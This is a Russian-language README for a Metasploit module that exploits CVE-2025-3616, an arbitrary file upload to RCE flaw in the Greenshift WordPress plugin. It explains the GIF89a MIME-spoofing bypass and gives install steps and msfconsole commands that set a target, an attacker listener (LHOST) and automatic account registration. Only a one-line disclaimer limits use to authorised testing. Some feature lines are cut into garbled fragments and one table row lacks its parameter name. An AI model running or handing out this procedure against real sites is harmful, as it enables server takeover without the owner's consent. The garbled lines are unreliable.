
Этот репозиторий содержит Metasploit-модуль для эксплуатации CVE-2025-3616 — уязвимости произвольной загрузки файлов в плагине Greenshift для WordPress (версии с 11.4 по 11.4.5).
Эксплойт позволяет аутентифицированным пользователям (Subscriber+) загружать произвольные файлы, что приводит к удалённому выполнению кода (RCE). Он обходит проверку типа файлов в плагине, подделывая MIME-тип с помощью GIF-магических байтов (GIF89a;).
USERNAME/PASSWORD).REGISTER для автоматической регистрации нового пользователя и эксплуатации уязвимости с использованием свежих сессионных cookie (полезно, если на целевом сайте включена регистрация).wp_rest из административной панели.finfo_file().Убедитесь, что у вас установлен Metasploit Framework.
Скопируйте wp_greenshift_file_upload.rb в каталог локальных модулей:
mkdir -p ~/.msf4/modules/exploits/unix/webapp/
cp wp_greenshift_file_upload.rb ~/.msf4/modules/exploits/unix/webapp/
Запустите msfconsole и перезагрузите модули:
msfconsole
msf6 > reload_all
Если на целевом сайте включена регистрация пользователей, учётные данные не нужны.
use exploit/unix/webapp/wp_greenshift_file_upload
set RHOSTS <TARGET_IP>
set LHOST <YOUR_IP>
set REGISTER true
run
Если у вас уже есть действительный пользователь (Subscriber или выше):
use exploit/unix/webapp/wp_greenshift_file_upload
set RHOSTS <TARGET_IP>
set LHOST <YOUR_IP>
set REGISTER false
set USERNAME <USER>
set PASSWORD <PASS>
run
Этот модуль предназначен только для образовательных целей и авторизованного тестирования на проникновение. Использование этого кода для атак на цели без предварительного взаимного согласия незаконно.
| Параметр | Обязательный | Описание |
|---|
| RHOSTS | да | Адрес целевого хоста |
| LHOST | да | Адрес прослушивания (ваш IP) |
| REGISTER | нет | Установите true, чтобы автоматически зарегистрировать новую учётную запись (по умолчанию: false) |
| USERNAME | нет | Имя пользователя WordPress (обязательно, если REGISTER установлен в false) |
| PASSWORD | нет | Пароль WordPress (обязательно, если REGISTER установлен в false) |
| нет | Email для регистрации (необязательно, генерируется автоматически, если пусто) |